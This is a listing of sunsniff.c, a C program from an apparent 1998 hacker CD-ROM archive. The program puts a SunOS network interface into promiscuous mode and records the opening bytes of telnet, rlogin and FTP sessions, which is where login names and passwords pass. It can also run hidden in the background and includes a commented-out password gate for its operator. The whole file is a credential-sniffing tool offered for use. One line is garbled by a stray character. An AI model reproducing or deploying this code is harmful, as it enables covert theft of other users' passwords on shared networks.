home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / sunsniff.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  13KB  |  514 lines

  1. #include <stdio.h>
  2. #include <ctype.h>
  3. #include <string.h>
  4.  
  5. #include <sys/time.h>
  6. #include <sys/file.h>
  7. #include <sys/stropts.h>
  8. #include <sys/signal.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <sys/ioctl.h>
  12.  
  13. #include <net/if.h>
  14. #include <net/nit_if.h>
  15. #include <net/nit_buf.h>
  16. #include <net/if_arp.h>
  17.  
  18. #include <netinet/in.h>
  19. #include <netinet/if_ether.h>
  20. #include <netinet/in_systm.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/udp.h>
  23. #include <netinet/ip_var.h>
  24. #include <netinet/udp_var.h>
  25. #include <netinet/in_systm.h>
  26. #include <netinet/tcp.h>
  27. #include <netinet/ip_icmp.h>
  28.  
  29. #include <netdb.h>
  30. #include <arpa/inet.h>
  31.  
  32. #define ERR stderr
  33.  
  34. char    *malloc();
  35. char    *device,
  36.         *ProgName,
  37.         *LogName;
  38. FILE    *LOG;
  39. int     debug=0;
  40.  
  41. #define NIT_DEV     "/dev/nit"
  42. #define CHUNKSIZE   4096        /* device buffer size */
  43. int     if_fd = -1;
  44. int     Packet[CHUNKSIZE+32];
  45.  
  46. void Pexit(err,msg)
  47. int err; char *msg;
  48. { perror(msg);
  49.   exit(err); }
  50.  
  51. void Zexit(err,msg)
  52. int err; char *msg;
  53. { fprintf(ERR,msg);
  54.   exit(err); }
  55.  
  56. #define IP          ((struct ip *)Packet)
  57. #define IP_OFFSET   (0x1FFF)
  58. #define SZETH       (sizeof(struct ether_header))
  59. #define IPLEN       (ntohs(ip->ip_len))
  60. #define IPHLEN      (ip->ip_hl)
  61. #define TCPOFF      (tcph->th_off)
  62. #define IPS         (ip->ip_src)
  63. #define IPD         (ip->ip_dst)
  64. #define TCPS        (tcph->th_sport)
  65. #define TCPD        (tcph->th_dport)
  66. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  67.  
  68. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  69.  
  70. #define MAXBUFLEN  (128)
  71. time_t  LastTIME = 0;
  72.  
  73. struct CREC {
  74.      struct CREC *Next,
  75.                  *Last;
  76.      time_t  Time;              /* start time */
  77.      struct in_addr SRCip,
  78.                     DSTip;
  79.      u_int   SRCport,           /* src/dst ports */
  80.              DSTport;
  81.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  82.      u_int   Length;            /* current data length */
  83.      u_int   PKcnt;             /* # pkts */
  84.      u_long  LASTseq;
  85. };
  86.  
  87. struct CREC *CLroot = NULL;
  88.  
  89. char *Symaddr(ip)
  90. register struct in_addr ip;
  91. { register struct hostent *he =
  92.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  93.  
  94.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  95. }
  96.  
  97. char *TCPflags(flgs)
  98. register u_char flgs;
  99. { static char iobuf[8];
  100. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  101.  
  102.   SFL(0,TH_FIN, 'F');
  103.   SFL(1,TH_SYN, 'S');
  104.   SFL(2,TH_RST, 'R');
  105.   SFL(3,TH_PUSH,'P');
  106.   SFL(4,TH_ACK, 'A');
  107.   SFL(5,TH_URG, 'U');
  108.   iobuf[6]=0;
  109.   return(iobuf);
  110. }
  111.  
  112. char *SERVp(port)
  113. register u_int port;
  114. { static char buf[10];
  115.   register char *p;
  116.  
  117.    switch(port) {
  118.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  119.      case IPPORT_TELNET:      p="telnet"; break;
  120.      case IPPORT_SMTP:        p="smtp"; break;
  121.      case IPPORT_FTP:         p="ftp"; break;
  122.      default: sprintf(buf,"%u",port); p=buf; break;
  123.    }
  124.    return(p);
  125. }
  126.  
  127. char *Ptm(t)
  128. register time_t *t;
  129. { register char *p = ctime(t);
  130.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  131.   return(p);
  132. }
  133.  
  134. char *NOWtm()
  135. { time_t tm;
  136.   time(&tm);
  137.   return( Ptm(&tm) );
  138. }
  139.  
  140. #define MAX(a,b) (((a)>(b))?(a):(b))
  141. #define MIN(a,b) (((a)<(b))?(a):(b))
  142.  
  143. /* add an item */
  144. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  145.   register struct CREC *CLtmp = \
  146.         (struct CREC *)malloc(sizeof(struct CREC)); \
  147.   time( &(CLtmp->Time) ); \
  148.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  149.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  150.   CLtmp->SRCport = SPORT; \
  151.   CLtmp->DSTport = DPORT; \
  152.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  153.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  154.   CLtmp->PKcnt = 1; \
  155.   CLtmp->Next = CLroot; \
  156.   CLtmp->Last = NULL; \
  157.   CLroot = CLtmp; \
  158. }
  159.  
  160. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  161. register struct in_addr Sip,Dip;
  162. register u_int SP,DP;
  163. { register struct CREC *CLr = CLroot;
  164.  
  165.   while(CLr != NULL) {
  166.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  167.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  168.             break;
  169.     CLr = CLr->Next;
  170.   }
  171.   return(CLr);
  172. }
  173.              
  174. #define ADDDATA_NODE(CL,DATA,LEN) { \
  175.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  176.  CL->Length += LEN; \
  177. }
  178.  
  179. #define PR_DATA(dp,ln) {    \
  180.   register u_char lastc=0; \
  181.   while(ln-- >0) { \
  182.      if(*dp < 32) {  \
  183.         switch(*dp) { \
  184.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  185.                         break; \
  186.             case '\r': \
  187.             case '\n': fprintf(LOG,"\n     : "); \
  188.                         break; \
  189.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  190.                         break; \
  191.         } \
  192.      } else { \
  193.         if(isprint(*dp)) fputc(*dp,LOG); \
  194.         else fprintf(LOG,"(%d)",*dp); \
  195.      } \
  196.      lastc = *dp++; \
  197.   } \
  198.   fflush(LOG); \
  199. }
  200.  
  201. void END_NODE(CLe,d,dl,msg)
  202. register struct CREC *CLe;
  203. register u_char *d;
  204. register int dl;
  205. register char *msg;
  206. {
  207.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  208.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  209.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  210.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  211.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  212.    fprintf(LOG," DATA: ");
  213.     { register u_int i = CLe->Length;
  214.       register u_char *p = CLe->Data;
  215.       PR_DATA(p,i);
  216.       PR_DATA(d,dl);
  217.     }
  218.  
  219.    fprintf(LOG,"\n-- \n");
  220.    fflush(LOG);
  221.  
  222.    if(CLe->Next != NULL)
  223.     CLe->Next->Last = CLe->Last;
  224.    if(CLe->Last != NULL)
  225.     CLe->Last->Next = CLe->Next;
  226.    else
  227.     CLroot = CLe->Next;
  228.    free(CLe);
  229. }
  230.  
  231. /* 30 mins (x 60 seconds) */
  232. #define IDLE_TIMEOUT 1800
  233. #define IDLE_NODE() { \
  234.   time_t tm; \
  235.   time(&tm); \
  236.   if(LastTIME<tm) { \
  237.      register struct CREC *CLe,*CLt = CLroot; \
  238.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  239.      while(CLe=CLt) { \
  240.        CLt=CLe->Next; \
  241.        if(CLe->Time <tm) \
  242.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  243.      } \
  244.   } \
  245. }
  246.  
  247. void filter(cp, pktlen)
  248. register char *cp;
  249. register u_int pktlen;
  250. {
  251.  register struct ip     *ip;
  252.  register struct tcphdr *tcph;
  253.  
  254.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  255.  
  256.    if(EtherType < 0x600) {
  257.      EtherType = *(u_short *)(cp + SZETH + 6);
  258.      cp+=8; pktlen-=8;
  259.    }
  260.  
  261.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  262.       return;
  263.  }
  264.  
  265.     /* ugh, gotta do an alignment :-( */
  266.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  267.  
  268.  ip = (struct ip *)Packet;
  269.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  270.     return;
  271.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  272.  
  273.  if(!( (TCPD == IPPORT_TELNET) ||
  274.        (TCPD == IPPORT_LOGINSERVER) ||
  275.        (TCPD == IPPORT_FTP)
  276.    )) return;
  277.  
  278.  { register struct CREC *CLm;
  279.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  280.    register u_char *p = (u_char *)Packet;
  281.  
  282.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  283.  
  284.  if(debug) {
  285.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  286.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  287.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  288.  }
  289.  
  290.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  291.  
  292.       CLm->PKcnt++;
  293.  
  294.       if(length>0)
  295.         if( (CLm->Length + length) < MAXBUFLEN ) {
  296.           ADDDATA_NODE( CLm, p,length);
  297.         } else {
  298.           END_NODE( CLm, p,length, "DATA LIMIT");
  299.         }
  300.  
  301.       if(TCPFL(TH_FIN|TH_RST)) {
  302.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  303.       }
  304.  
  305.    } else {
  306.  
  307.       if(TCPFL(TH_SYN)) {
  308.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  309.       }
  310.  
  311.    }
  312.  
  313.    IDLE_NODE();
  314.  
  315.  }
  316.  
  317. }
  318.  
  319. /* signal handler
  320.  */
  321. void death()
  322. { register struct CREC *CLe;
  323.  
  324.     while(CLe=CLroot)
  325.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  326.  
  327.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  328.     fflush(LOG);
  329.     if(LOG != stdout)
  330.         fclose(LOG);
  331.     exit(1);
  332. }
  333.  
  334. /* opens network interface, performs ioctls and reads from it,
  335.  * passing data to filter function
  336.  */
  337. void do_it()
  338. {
  339.     int cc;
  340.     char *buf;
  341.     u_short sp_ts_len;
  342.  
  343.     if(!(buf=malloc(CHUNKSIZE)))
  344.         Pexit(1,"Eth: malloc");
  345.  
  346. /* this /dev/nit initialization code pinched from etherfind */
  347.   {
  348.     struct strioctl si;
  349.     struct ifreq    ifr;
  350.     struct timeval  timeout;
  351.     u_int  chunksize = CHUNKSIZE;
  352.     u_long if_flags  = NI_PROMISC;
  353.  
  354.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  355.         Pexit(1,"Eth: nit open");
  356.  
  357.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  358.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  359.  
  360.     si.ic_timout = INFTIM;
  361.  
  362.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  363.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  364.  
  365.     timeout.tv_sec = 1;
  366.     timeout.tv_usec = 0;
  367.     si.ic_cmd = NIOCSTIME;
  368.     si.ic_len = sizeof(timeout);
  369.     si.ic_dp  = (char *)&timeout;
  370.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  371.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  372.  
  373.     si.ic_cmd = NIOCSCHUNK;
  374.     si.ic_len = sizeof(chunksize);
  375.     si.ic_dp  = (char *)&chunksize;
  376.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  377.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  378.  
  379.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  380.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  381.     si.ic_cmd = NIOCBIND;
  382.     si.ic_len = sizeof(ifr);
  383.     si.ic_dp  = (char *)𝔦
  384.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  385.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  386.  
  387.     si.ic_cmd = NIOCSFLAGS;
  388.     si.ic_len = sizeof(if_flags);
  389.     si.ic_dp  = (char *)&if_flags;
  390.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  391.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  392.  
  393.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  394.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  395.   }
  396.  
  397.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  398.         register char *bp = buf,
  399.                       *bufstop = (buf + cc);
  400.  
  401.         while (bp < bufstop) {
  402.             register char *cp = bp;
  403.             register struct nit_bufhdr *hdrp;
  404.  
  405.             hdrp = (struct nit_bufhdr *)cp;
  406.             cp += sizeof(struct nit_bufhdr);
  407.             bp += hdrp->nhb_totlen;
  408.             filter(cp, (u_long)hdrp->nhb_msglen);
  409.         }
  410.     }
  411.     Pexit((-1),"Eth: read");
  412. }
  413.  /* Yo Authorize your proogie,generate your own password and uncomment here */ 
  414. /* #define AUTHPASSWD "EloiZgZejWyms"  
  415.  
  416. void getauth()
  417. { char *buf,*getpass(),*crypt();
  418.   char pwd[21],prmpt[81];
  419.  
  420.     strcpy(pwd,AUTHPASSWD);
  421.     sprintf(prmpt,"(%s)UP? ",ProgName);
  422.     buf=getpass(prmpt);
  423.     if(strcmp(pwd,crypt(buf,pwd)))
  424.         exit(1);
  425. }
  426.     */  
  427. void main(argc, argv)
  428. int argc;
  429. char **argv;
  430. {
  431.     char   cbuf[BUFSIZ];
  432.     struct ifconf ifc;
  433.     int    s,
  434.            ac=1,
  435.            backg=0;
  436.  
  437.     ProgName=argv[0];
  438.  
  439.  /*     getauth(); */
  440.  
  441.     LOG=NULL;
  442.     device=NULL;
  443.     while((ac<argc) && (argv[ac][0] == '-')) {
  444.        register char ch = argv[ac++][1];
  445.        switch(toupper(ch)) {
  446.             case 'I': device=argv[ac++];
  447.                       break;
  448.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  449.                          Zexit(1,"Output file cant be opened\n");
  450.                       break;
  451.             case 'B': backg=1;
  452.                       break;
  453.             case 'D': debug=1;
  454.                       break;
  455.             default : fprintf(ERR,
  456.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  457.                             ProgName);
  458.                       exit(1);
  459.        }
  460.     }
  461.  
  462.     if(!device) {
  463.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  464.             Pexit(1,"Eth: socket");
  465.  
  466.         ifc.ifc_len = sizeof(cbuf);
  467.         ifc.ifc_buf = cbuf;
  468.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  469.             Pexit(1,"Eth: ioctl");
  470.  
  471.         close(s);
  472.         device = ifc.ifc_req->ifr_name;
  473.     }
  474.  
  475.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  476.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  477.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  478.  
  479.     if(!LOG)
  480.         LOG=stdout;
  481.  
  482.     signal(SIGINT, death);
  483.     signal(SIGTERM,death);
  484.     signal(SIGKILL,death);
  485.     signal(SIGQUIT,death);
  486.  
  487.     if(backg && debug) {
  488.          fprintf(ERR,"[Cannot bg with debug on]\n");
  489.          backg=0;
  490.     }
  491.  
  492.     if(backg) {
  493.         register int s;
  494.  
  495.         if((s=fork())>0) {
  496.            fprintf(ERR,"[pid %d]\n",s);
  497.            exit(0);
  498.         } else if(s<0)
  499.            Pexit(1,"fork");
  500.  
  501.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  502.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  503.                 close(s);
  504.         }     
  505.     }
  506.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  507.     fflush(LOG);
  508.  
  509.     do_it();
  510. }
  511.  
  512.  
  513.  
  514.